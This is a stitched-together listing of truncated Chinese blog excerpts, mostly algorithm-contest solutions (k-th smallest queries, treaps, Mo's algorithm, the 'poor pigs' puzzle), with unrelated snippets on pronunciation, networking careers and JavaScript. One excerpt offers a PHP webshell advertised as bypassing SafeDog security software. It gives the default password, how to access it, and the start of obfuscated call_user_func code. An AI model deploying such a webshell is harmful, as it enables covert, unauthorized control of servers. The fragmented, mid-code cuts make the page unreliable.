题目传送门 可怜的狗狗 题目背景 小卡由于公务需要出差,将新家中的狗狗们托付给朋友嘉嘉,但是嘉嘉是一个很懒的人,他才没那么多时间帮小卡喂狗狗. 题目描述 小卡家有N只狗,由于品种.年龄不同,每一只狗都有一个不同的漂亮值.漂亮值与漂亮的程度成反比(漂亮值越低越漂亮),吃饭时,狗狗们会按顺序站成一排等着主人给食物. 可是嘉嘉真的很懒,他才不肯喂这么多狗呢,这多浪费时间啊,于是他每次就只给第i只到第j只狗中第k漂亮的狗狗喂食(好狠心的人啊).而且为了保证某一只狗狗不会被喂太多次,他喂的每个区间(i,j…

http://www.luogu.org/problem/show?pid=1533 题目背景 小卡由于公务需要出差,将新家中的狗狗们托付给朋友嘉嘉,但是嘉嘉是一个很懒的人,他才没那么多时间帮小卡喂狗狗. 题目描述 小卡家有N只狗,由于品种.年龄不同,每一只狗都有一个不同的漂亮值.漂亮值与漂亮的程度成反比(漂亮值越低越漂亮),吃饭时,狗狗们会按顺序站成一排等着主人给食物. 可是嘉嘉真的很懒,他才不肯喂这么多狗呢,这多浪费时间啊,于是他每次就只给第i只到第j只狗中第k漂亮的狗狗喂食(好狠心的人啊)…

题目链接:https://www.luogu.org/problemnew/show/P1533 没人写$fhq\ treap$做法,那我就补一篇qwq 看到这题第一时间想主席树,然后发现我还没学主席树,于是就写了平衡树做法(当然树状数组+二分的套路也是可以的,但是两个$log$的复杂度太优秀了就不写了) 其实和treap的写法差不多,也是排序一遍然后插入,删除,求$kth$ 不过好写很多,主体就40+行,注意一开始那个节点的值一定要大... 我开$0x3f$然后挂了一个上午... (其实一开始…

题目背景 小卡由于公务需要出差,将新家中的狗狗们托付给朋友嘉嘉,但是嘉嘉是一个很懒的人,他才没那么多时间帮小卡喂狗狗. 题目描述 小卡家有N只狗,由于品种.年龄不同,每一只狗都有一个不同的漂亮值.漂亮值与漂亮的程度成反比(漂亮值越低越漂亮),吃饭时,狗狗们会按顺序站成一排等着主人给食物. 可是嘉嘉真的很懒,他才不肯喂这么多狗呢,这多浪费时间啊,于是他每次就只给第i只到第j只狗中第k漂亮的狗狗喂食(好狠心的人啊).而且为了保证某一只狗狗不会被喂太多次,他喂的每个区间(i,j)不互相包含. 输入格式…

原题传送门 莫队介绍,Splay介绍 离线的题目,莫队是不错的解决方法 先把询问排一下序 剩下就套一个莫队的板子 每来一只狗就把漂亮值插入平衡树 每去掉一只狗就把漂亮值从平衡树中删掉 每次查询查平衡树中第k小 #pragma GCC optimize("O3") #include <bits/stdc++.h> #define N 800005 #define M 50005 using namespace std; inline char nc(){ static cha…

困死了,完全做不下去题 就当是对莫队最最基本的思想的一个复习叭(只有最最基本的思想,没有莫队) 传送 我们可以很容易的想到这题要用线段树. 60pts 此题要求某个区间里第K小的数,可以暴力的考虑对每个节点所对应的区间排序.这里排序一次可以最快\(O(n)\),查询时也要排序,所以查询一次是\(O(nlogn)\),总复杂度就是\(O(nmlogn)\).不吸氧60pts.(可能还不如朴素?) 100pts 既然普通线段树不行,那咱就用权值线段树搞搞试试.权值线段树上维护每一个数出现的次数.先离…

可怜的狗狗 思路: 主席树第k大: 代码: #include <bits/stdc++.h> using namespace std; #define maxn 300001 #define maxn_ maxn*30 int n,m,lc[maxn_],rc[maxn_],dis[maxn_],root[maxn]; int tot,ai[maxn],bi[maxn],size; inline void in(int &now) { ; ') Cget=getchar(); ') {…

平衡树,我用的SBT. 排一下序尽量减少操作次数. 第K大询问. 以及插入删除. #include <algorithm> #include <cstdio> #include <cstring> using namespace std; const int MAXN=300010,MAXM=50010; int n,m,x,y,a[MAXN],ans[MAXN]; struct Query { int l,r,k,index; bool operator <(c…

题目链接 发现区间按左端点排序后右端点也是单调的,所以扫一遍就行了,用权值线段树维护第\(k\)大 #include<algorithm> #include<iostream> #include<cstring> #include<cstdio> #include<map> #define int long long #define lc (p<<1) #define rc (p<<1|1) using namespace…

平衡树实际很简单的 以下讲解都以Luogu P3369 [模板]普通平衡树为例 我不会带指针的Splay,所以我就写非指针型的Splay Splay是基于二叉查找树(bst)实现的 什么是二叉查找树呢?就是一棵树呗,但是这棵树满足性质:一个节点的左孩子一定比它小,右孩子一定比它大 比如: 这就是一棵最基本二叉查找树 对于每次插入,它的期望复杂度大约是lognlogn级别的,但是存在极端情况,比如9999999 9999998 9999997.....1这种数据,会直接被卡成n^2级别 在这种情况…

最近进入了dfs关于剪枝方面的学习,遇到的第一道题就是hdu的1010.一道很基础的剪枝..可我不幸地wa了很多次(待会再解释wa的原因吧QAQ),首先我们来看一下题目. Problem Description The doggie found a bone in an ancient maze, which fascinated him a lot. However, when he picked it up, the maze began to shake, and the doggie c…

1. 发音怎么练习 我讲解的第5-6节发音课,就像一个有用教练,教你的划水姿势,你学了以后,在床上趴着练练蹬腿,然后,要立刻跳下水去游泳,也就是说,你要去听英语: 请你听一段可可宝贝APP的绘本故事,国家地理入门版, What can a diver see? 你要听英语故事,然后跟读,这个过程就是“在水里游泳”,当你听到what can a diver see? 你听到了na na连读,你就会想到我讲的“爸爸+妈妈”辅音跟元音要结婚:而what的t就比较弱,你能想到,没有元音的辅音,发音就只能…

呵呵,这是我到51CTO做实习斑竹,回复的第一篇帖子,原帖在这里: http://bbs.51cto.com/thread-940532-1.html 这位朋友可能最近受到点挫折,所以有点小灰心,我呢,就顺便回了一下,鼓鼓信心嘛,不过,我说的也是实情,大家可以参考一下啊. 原文如下: 如题,我看到那么多的初入行的ccnp,甚至ccie,为了得到一个有发展的系统集成的工作而不得,觉得别人调试了几十万的设备而羡慕时,我真的觉得包括我在内的这个群体很可怜. 网络工程,重要的是实践经验.或者说,主要靠实…

Problem 1274 - 可怜的lpx Time Limit: 1000MS   Memory Limit: 65536KB    Description 可怜的lpx终于在别人的帮助下追上了aqx,可是他那瘦弱的身体想要去强行从aqx那里抢回烟那是不可能的.aqx看着可怜的lpx实在不忍心继续欺负他,便随手扔出来一堆长短不一的木棍,让lpx从中挑出来三根木棍,组成一个三角形,如果这个三角形的周长最大,那么aqx将把烟还给lpx.哎,可怜的lpx... Input 多组数据,每组数据一个n(…

转自[LeetCode] Poor Pigs 可怜的猪 There are 1000 buckets, one and only one of them contains poison, the rest are filled with water. They all look the same. If a pig drinks that poison it will die within 15 minutes. What is the minimum amount of pigs you ne…

最近发现一款过狗shell,分享下...     本地搭建2008SERVER+php5+阿帕奇+网站安全狗+服务器安全狗+防护全开 测试可用... 默认密码:p0tt1 使用方法: ,没关系,按p键,输入密码 或者webshell.php?password=p0tt1自定义密码在 p0tt1为设定的密码,可以自行修改. 1 <?php define('iphp','p0tt1');define('T','H*');define('A','call');define('B','user');de…

<h5>tips1</h5>狗狗脑袋里最关心的事:一是食物,二是性.想教育狗,就要顺应狗狗的想法,而不是一味地以暴力相待.<h5>tips2</h5>”行为“是由”刺激“与”反应“而产生的.你给狗狗什么样的刺激,就会造就狗狗什么样的反应.因此,假如你认为你喂养的狗狗有”行为异常“的问题,那么,身为主人的你也要负起绝大部分的责任.<h5>tips3</h5><span style="color: #ff8c00;&quo…

baidu词典中用的中文音库竟然全都是汉典的中文音库   真可怜,baidu这么大个公司竟然连着1250个发音都懒得录   汉典的音库布都是同一格式,导致一部分音频文件MCI函数无法播放   真他妈可怜.我实在不想去分析那破玩艺,就不能给我一套可以用的音库么...…

458. 可怜的小猪 有 1000 只水桶,其中有且只有一桶装的含有毒药,其余装的都是水.它们从外观看起来都一样.如果小猪喝了毒药,它会在 15 分钟内死去. 问题来了,如果需要你在一小时内,弄清楚哪只水桶含有毒药,你最少需要多少只猪? 回答这个问题,并为下列的进阶问题编写一个通用算法. 进阶: 假设有 n 只水桶,猪饮水中毒后会在 m 分钟内死亡,你需要多少猪(x)就能在 p 分钟内找出 "有毒" 水桶?这 n 只水桶里有且仅有一只有毒的桶. 提示: 可以允许小猪同时饮用任意数量的桶…

你有一个思想,我有一个思想,我们交换后,一个人就有两个思想 If you can NOT explain it simply, you do NOT understand it well enough 现陆续将Demo代码和技术文章整理在一起 Github实践精选 ,方便大家阅读查看,本文同样收录在此,觉得不错,还请Star 无意间看到这个SQL客户端,瞬间被它简洁的页面吸引了, 启动画面可能是它最复杂的呈现了,爱没? SQLECTRON 按照官网 (https://sqlectron.gith…

#!/usr/bin/python #* encoding=utf-8 s = "20-5*(0+1)*5^(6-2^2)" c = 0 top = [0,s[c],0] op = [["0","1","2","3","4","5","6","7","8","9"],["+&qu…

js中在一个函数中定义一个for循环:for(var i=0;i<5;i++) 其中的i并不会随着for循环的结束就销毁,i会一直存在该函数中,这就是js和其他语言的区别,也就是js没有块级作用域的概念.看以下代码: function test(){ for(var i=0;i<5;i++) { alert(i); } alert('last_i: '+i); } test(); 运行以上代码,执行for循环会弹出5次窗口分别为0,1,2,3,4.执行到4意味着for循环结束,其他语言下i就会…

H - Sorting Slides 应该是个二分匹配的模板题的,但我还不会写 = = 其实数据规模很小,就用贪心的方法就水过了(没加vis判冲突wa了几发,从此开始艰难的没有1A 的生活) #include <stdio.h> #include <cstring> #include <cstdlib> #include <algorithm> #include <cmath> using namespace std; #define lson…

A - Triangles 记忆化搜索呗.搜索以某三角形为顶的最大面积,注意边界情况. #include <stdio.h> #include <cstring> #include <cstdlib> #include <algorithm> #include <cmath> using namespace std; #define lson o<<1 #define rson o<<1|1 #define max(a,b…

A - The Willy Memorial Program 大模拟题…… 一开始的思路不对,修修补补WA了十发.当时想直接一个并查集做连通来搞定它,结果发现不能很好地判断各管的水位.究其原因还是因为这个是跟进水的过程顺序有关的. 所以最后AC的思路还是按模拟来做,在已经连通的管子中找最低的link连出去,不断更新水位,合并管子. 有些细节注意一下,AC~ #include <stdio.h> #include <cstring> #include <cstdlib>…

如题: 看看这个: http://stackoverflow.com/questions/20965564/installing-jdk8-on-windows-xp-advapi32-dll-error?lq=1 https://jdk8.java.net/jdk8_supported_platforms.html http://frankzhao.blog.51cto.com/273790/244586/ http://www.oracle.com/technetwork/cn/articl…

二分图带权最小匹配(朴素) 只要换几个不等号的方向就行,不需要变换权值的正负 #include <iostream> #include <cstdio> #include <algorithm> #include <cstdlib> #include <cstring> using namespace std; int n,m,wei[105][105],lx[105],ly[105],match[105]; bool fx[105],fy[10…

There are 1000 buckets, one and only one of them contains poison, the rest are filled with water. They all look the same. If a pig drinks that poison it will die within 15 minutes. What is the minimum amount of pigs you need to figure out which bucke…

There are 1000 buckets, one and only one of them contains poison, the rest are filled with water. They all look the same. If a pig drinks that poison it will die within 15 minutes. What is the minimum amount of pigs you need to figure out which bucke…

有1000只水桶,其中有且只有一桶装的含有毒药,其余装的都是水.它们从外观看起来都一样.如果小猪喝了毒药,它会在15分钟内死去. 问题来了,如果需要你在一小时内,弄清楚哪只水桶含有毒药,你最少需要多少只猪? 回答这个问题,并为下列的进阶问题编写一个通用算法. 进阶: 假设有 n 只水桶,猪饮水中毒后会在 m 分钟内死亡,你需要多少猪(x)就能在 p 分钟内找出“有毒”水桶?n只水桶里有且仅有一只有毒的桶. class Solution(object): def poorPigs(self, bu…